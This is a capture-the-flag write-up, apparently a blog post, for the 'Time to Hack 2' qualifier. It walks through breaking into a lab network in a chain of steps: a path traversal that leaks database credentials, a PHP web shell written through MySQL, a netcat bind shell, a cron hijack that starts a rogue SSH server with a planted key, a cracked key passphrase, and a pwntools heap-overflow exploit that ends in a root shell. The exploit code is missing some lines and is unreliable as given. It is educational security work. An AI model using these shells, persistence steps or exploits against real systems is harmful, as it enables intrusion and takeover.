Łukasz "Toranktto" Derlatka

Writeup for Time to Hack 2 Quals

Published on
Last updated on


This post is about qualifications for the “Time to Hack 2” Capture the Flag competition organized by the Polish foreign intelligence agency (Agencja Wywiadu) in days October 30, 2021 - November 5, 2021.


Before the start of the competition each team received an email with the OpenVPN configuration that they needed to use to connect to their private network (different for each team) where the competition would take place. The email also contained the IP address of the web application and information that there are two machines and three flags - one flag is on the external machine, the other two on the internal machine. We also received information that the use of tools that generate heavy network traffic is prohibited (with the exception of nmap).

First flag

Our web application looks like this: flag1-webpage

First, it will be useful to scan the machine with the web application:

$ nmap -sV
Starting Nmap 7.92 ( https://nmap.org ) at 2021-10-30 13:27 środkowoeuropejski czas letni
Nmap scan report for
Host is up (0.058s latency).
Not shown: 998 closed tcp ports (reset)
80/tcp   open  http    Apache httpd 2.4.51 ((Debian))
3306/tcp open  mysql   MySQL 5.5.5-10.5.12-MariaDB-0+deb11u1

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.71 seconds

Since we don’t have access for the MySQL database, let’s focus on a web application hosted on an Apache server. The main page of the application has three links, leading to the same path (/), but it passes an additional parameter cve through the URL. Let’s now test by trial and error various potentially malicious values for this parameter. When the value ../index.php (url: is passed, instead of the CVE vulnerability information, the application’s home page code is displayed:

<!DOCTYPE html>
<html style="overflow: hidden;">
<meta http-equiv="content-type" content="text/html; charset=UTF-8">
<link rel="shortcut icon" href="favico.png" type="image/x-icon">
Best CVEs Database
body {
	background-color: #010101;
	color: green;
	text-align: center;
	background-image: url('T2H_tlo_header.jpg');
	background-repeat: no-repeat;
	min-width: 100vw;
	min-height: 100vh;
	background-size: cover;
a {color: green;}
a:visited {color: green;}
a:hover {color: red;}
a:active {color: red;}
<h1>Best CVEs database</h1>
$db = require("database.php");
$db_cves = $db->query('select * from cves');
$cves = array();
while($db_cve = $db_cves->fetch_assoc())
	$cves[$db_cve['cve']] = $db_cve;
	echo "<a href=\"?cve={$db_cve['cve']}\">{$db_cve['cve']} ({$db_cve['name']})</a> <br/> ";
	echo 'Please select the best CVE!';
	$cve = $db->real_escape_string((string)$_GET['cve']);
	$db->query("update cves set counter=counter+1 where cve='{$cve}'");
	echo "<h1 style=\"color:red\">{$cves[$cve]['name']}</h1>";
	echo file_get_contents('./cves/'.$cve);

After analyzing the code, let’s use the same vulnerability to read the imported database.php file:


$server = '';
$username = 'manager';
$password = 'fyicvesareuselesshere';
$database = 'cves';

return new mysqli($server,$username,$password,$database);

We have just obtained the MySQL server access credentials we need. Let’s log in and check the permissions of the account we have access to:


We received a line roughly like this:

GRANT FILE ON *.* TO 'manager'@'%';

This means that we can read files and write them to disk. Now let’s check what directory the web application files are in by passing the value ../../../../../../../../../../etc/apache2/sites-available/000-default.conf through the cve parameter (url: After finding the DocumentRoot line we know that the path to the application code is /var/www/MyBestCVEs.

Now let’s try to save a file there via MySQL:

SELECT "<?php echo system($_GET['cmd']); ?>" INTO OUTFILE "/var/www/MyBestCVEs/shell.php";

We were denied access, but after analyzing the application code earlier, we remember that there is also a cves directory there. Let’s try to write the malicious script there:

SELECT "<?php echo system($_GET['cmd']); ?>" INTO OUTFILE "/var/www/MyBestCVEs/cves/shell.php";

Hooray, we made it! Now let’s put together a bind shell, using shell access via a placed script. Pass through the cmd parameter the value nc -nlvp 1234 -e /bin/bash (url: -nlvp 1234 -e /bin/bash).

Let’s now connect to the remote shell:

$ nc 1234

Now, again, you should have looked to your knowledge for a method to escalate permissions (or used a script like LinPEAS). The vulnerability we should find is in cron:

* * * * manager php /var/www/MyBestCVEs/stats.php > /home/manager/stats.txt

The stats.php file is executed with the user rights of manager. Let’s try to overwrite it:

$ echo "<?php system('/bin/bash -f /home/manager/script.sh'); ?>" > /var/www/MyBestCVEs/stats.php

Now let’s create a file /home/manager/script.sh with the code that starts the SSH server:

#!/usr/bin/env bash

mkdir /home/manager/custom_ssh
ssh-keygen -f /home/manager/custom_ssh/ssh_host_rsa_key -N '' -t rsa
ssh-keygen -f /home/manager/custom_ssh/ssh_host_dsa_key -N '' -t dsa

cat << EOF > /home/manager/custom_ssh/sshd_config
Port 2222
HostKey /home/manager/custom_ssh/ssh_host_rsa_key
HostKey /home/manager/custom_ssh/ssh_host_dsa_key
AuthorizedKeysFile .ssh/authorized_keys
ChallengeResponseAuthentication no
UsePAM no
Subsystem sftp internal-sftp
PidFile /home/manager/custom_ssh/sshd.pid

/usr/sbin/sshd -E /home/manager/custom_ssh/sshd.log -f /home/manager/custom_ssh/sshd_config &
cat /dev/null > /home/manager/script.sh

But before that, let’s generate SSH keys on our computer:

$ ssh-keygen -t rsa -f id_t2h

Then let’s create a file ~/.ssh/authorized_hosts and add our public key to the host, since we don’t know the password:

$ echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC+93WMjb80k4/6QNVyyDOt9ZL+TTNZSHbyJrwrUCpmje72xWqZ9MTTQGWos1nByeSDmaTjTpBFPusMcHkiTShvxe+X0bDdHqbzRzCDgwwD8Xox/S+zvuo54nqIKKHBsxYZJLJn2g0HBh9goUDg/+HO0r/TCzc7/OeSKFABZ2fCc9bdSyPk5CI3udIN4UGJ8/hhvWo/e5gN79vN9M+3g5EsMz6p7YHz43Z3FMImzAXk+lsmA9a2HlP5a0SloZ59p9QOltAaUvVSjzg1VlVdqrzBYIXAlODpNZTkGiGUYwqUiArHG1/xg1JHTSO5Ysm5VSEpiM72t7zkxN26MRFxummtD3Rkbz/mAzvozdbZXxHHX3fz8D62tIVtkLdsNEFwaUk9B+O/SxnNHloXqdlQxM+aWbr+5ia/3SEBny17kcXJ1npraakRMfiLTG/jKXEjjm6TP9JGfs9ZnLmv46RQERS9jXTxipaFrLE/01JdGmoJgm5hQQqU/yaj4PTvuzHX8Ws= lukasz@Lukasz-laptop" >> /home/manager/.ssh/authorized_hosts

Now let’s save the file, wait a minute and log in via SSH:

$ ssh -i id_t2h -p2222 manager@
manager@external:~$ ls
flag1.txt custom_ssh script.sh stats.txt
manager@external:~$ cat flag1.txt

Second flag

Let’s check the network interfaces:

manager@external:~$ ifconfig

We see that the second network interface is connected to the network, and its IP address is We can now use sftp to upload a statically linked nmap to the host to scan the internal network.

So let’s try this:

manager@external:~$ ./nmap

Starting Nmap 6.49BETA1 ( http://nmap.org ) at 2021-10-31 22:17 CET
Unable to find nmap-services!  Resorting to /etc/services
Cannot find nmap-payloads. UDP payloads are disabled.
Nmap scan report for
Host is up (0.00013s latency).
Not shown: 1154 closed ports
80/tcp   open  http
3306/tcp open  mysql

Nmap scan report for
Host is up (0.00014s latency).
Not shown: 1155 closed ports
122/tcp open  unknown

Nmap done: 256 IP addresses (2 hosts up) scanned in 15.47 seconds

There are two machines on the internal network - ours and some other machine that has an open TCP port 122, whose protocol nmap could not determine. Let’s see what it could be:

manager@external:~$ nc 122
SSH-2.0-OpenSSH_8.4p1 Debian-5

We saw that this is an OpenSSH server, let’s try to log in:

manager@external:~$ ssh -p122
Enter passphrase for key 'id_rsa':

We can assume that this key will allow us to get into the other machine. Unfortunately, it is encrypted with a password that we don’t know. To crack this password, you can use the john program. Due to a bug, it is not possible to break the password on the stable version (as of 31 October). and we have to compile the latest version from the sources, which we download here.

Let’s first check a relatively short dictionary, such as this one. After a short while the program will finish its work finding the password maximus.

Let’s log in to the other machine again:

manager@external:~$ ssh -p122
Enter passphrase for key 'id_rsa':
manager@internal:~$ ls
manager@internal:~$ cat flag2.txt

Third flag

Let’s try looking for files with the setuid bit:

manager@internal:~$ find / -perm -u=s -type f 2>/dev/null

By the very name of the suspicious program found, we can expect that a heap buffer overflow error must be exploited. But let’s not anticipate the facts and run it:

manager@internal:~$ heheap

1 - Register
2 - Login
3 - Delete user
4 - Admin panel
5 - Exit

Your choice:

Analyzing the program using Ghidra we find interesting function: flag3-shell

This function simply fires the shell with root privileges if the user logging function returns a non-zero value. Let’s check when this condition is met: flag3-shell We see that only when the password matches and the magic byte is non-zero (i.e. true in C language nomenclature).
Finally we also have yet another function with the heap buffer overflow we expected (line 14 and 16): flag3-heap-overflow Note: DAT_00102025 is simply %s

I wrote a simple exploit for this vulnerability. A detailed description is in the comments in the code.

#!/usr/bin/env python3
# Łukasz Derlatka <toranktto (at) gmail.com>

import argparse
from pwn import *
from getpass import getpass
from paramiko import RSAKey
from random import randint
from paramiko.ssh_exception import PasswordRequiredException, SSHException

def port(value):
    int_value = int(value)
    if int_value < 0 or int_value > 65535:
        raise argparse.ArgumentTypeError(f"{int_value} is an invalid port value")
    return int_value
def utf8(s):
    return bytes(s, "utf8")

def craft_payload(user, user_pw, admin, admin_pw):
    log.info("Crafting payload...")

    user_b = utf8(user)
    user_pw_b = utf8(user_pw)
    admin_b = utf8(admin)
    admin_pw_b = utf8(admin_pw)

    assert(len(user_b) >= 1 and len(user_b) <= 255)
    assert(len(user_pw_b) >= 1 and len(user_pw_b) <= 255)

    assert(len(admin_b) >= 1 and len(admin_b) <= 255)
    assert(len(admin_pw_b) >= 1 and len(admin_pw_b) <= 255)

    payload = bytes()

    # Register admin
    payload += b"1\n"
    payload += admin_b + b"\n"
    payload += admin_pw_b + b"\n"

    # Register user
    payload += b"1\n"
    payload += user_b + b"\n"

    # Fill in user buffer with 255 bytes
    payload += user_pw_b
    payload += b"\x00" * (255-len(user_pw_b))

    # Set user is_admin byte to true (0x01). However, it will be overwritten by the program to false (0x00).
    payload += b"\x01" # because this byte will be overwritten to 0x00 (\0), this byte is also user password C string terminator

    # Overwrite metadata of next chunk (where admin data is placed)
    # More info: https://sourceware.org/glibc/wiki/MallocInternals
    # (This chunk is in the allocated format because we created an admin account before)
    payload += p64(0) # prev_size (=0) with no flags set
    payload += p64(528 | 1 << 0) # size (=528) with flag PREV_INUSE on bit 0

    # Overwrite admin username
    payload += admin_b
    payload += b"\x00" * (255-len(admin_b))
    payload += b"\0" # C string terminator

    # And password
    payload += admin_pw_b
    payload += b"\x00" * (255-len(admin_pw_b))
    payload += b"\0" # C string terminator

    # Finally the is_admin byte, to true (0x01)
    payload += b"\x01"

    payload += b"\n"

    log.info(f"Size: {len(payload)} bytes")

    assert(len(payload) >= 796 and len(payload) <= 1558)
    return payload

def reverse_chunks_allocation_order(proc):
    # When there are no free chunks, new allocations are placed one after another, but when we have free chunks the order of placement is reversed:
    # new allocations are placed one BEFORE the other.
    # Thanks to this, it is possible to overwrite the user buffer to which we want to set the admin byte.

    log.info("Reversing chunks allocation order...")

    # Can be anything, but must be >= 2, because we will register two users (admin and user) and should be <= 256,
    # because we can have maximum 256 users registered at the same time.
    chunks_count = 2
    assert(chunks_count >= 2 and chunks_count <= 256)

    for i in range(chunks_count):

    for i in range(chunks_count):

def register_admin_user(proc, name, pw):
    log.info("Registering admin user...")

    # Can be anything, but size in bytes of both must be >= 1 and <= 255
    #user = randoms(255)
    #user_pw = randoms(255)
    user = "\x00"
    user_pw = "\x00"

    assert(user != name) # user name cannot be the same as admin, because program doesn't handle doubled usernames
    proc.send(craft_payload(user, user_pw, name, pw))
    log.info("Payload injected!")

def start_shell(proc, admin, admin_pw):    
    log.info("Starting shell...")

def hack(proc):
    # Can be anything, but size in bytes of both must be >= 1 and <= 255
    #admin = randoms(255)
    #admin_pw = randoms(255)
    admin = "\x01"
    admin_pw = "\x00"

    reverse_chunks_allocation_order(proc) # a little trick to get it all working
    register_admin_user(proc, admin, admin_pw)
    start_shell(proc, admin, admin_pw)

def main():
    parser = argparse.ArgumentParser()
    parser.add_argument("--external-host", type=str, required=False)
    parser.add_argument("--external-port", "--external-host-port", dest="external_port", type=port, required=False)
    parser.add_argument("--internal-host", type=str, required=False)
    args = parser.parse_args()

    ssh_key_file = "id_t2h"
    while not os.path.isfile(ssh_key_file):
        log.warn(f"Not found SSH private key file: {ssh_key_file}")
        ssh_key_file = str_input("Enter path of your SSH private key file: ").rstrip()

    ssh_key_password = None
    ssh_key = None
    while ssh_key is None:
            ssh_key = RSAKey.from_private_key_file(ssh_key_file, password=ssh_key_password)
        except PasswordRequiredException:
        except SSHException:
            if ssh_key_password is not None:
                log.warn(f"Incorrect password.")
                log.error(f"{ssh_key_file} is not a valid SSH private key.")
        except IOError:
            log.error(f"I/O error occured while reading SSH private key: {ssh_key_file}.")

        ssh_key_password = getpass(f"Enter passphrase for key '{ssh_key_file}': ").rstrip()

    externalShell = ssh(host=args.external_host, port=args.external_port, user="manager", key=ssh_key)

    # Start program we're attacking on 'internal' host
    proc = externalShell.system(utf8(f"ssh -p122 {args.internal_host} /usr/local/bin/heheap"))

    # Wait for password prompt
    proc.recvuntil(b"Enter passphrase for key '/home/manager/.ssh/id_rsa':")

    # Send SSH private key password

    # Start shell with root rights

    # Attach user to shell

if __name__ == "__main__":

All that’s left is to run the exploit:

[*] Reversing chunks allocation order...
[*] Registering admin user...
[*] Crafting payload...

[*] Payload:
[*] 00000000  31 0a 01 0a  00 0a 31 0a  00 0a 00 00  00 00 00 00  │1···│··1·│····│····│
    00000010  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  │····│····│····│····│
    00000100  00 00 00 00  00 00 00 00  00 01 00 00  00 00 00 00  │····│····│····│····│
    00000110  00 00 11 02  00 00 00 00  00 00 01 00  00 00 00 00  │····│····│····│····│
    00000120  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  │····│····│····│····│
    00000310  00 00 00 00  00 00 00 00  00 00 01 0a               │····│····│····│
[*] Size: 796 bytes

[*] Payload injected!
[*] Starting shell...

[*] Switching to interactive mode

$ whoami
$ ls /root
$ cat /root/flag3.txt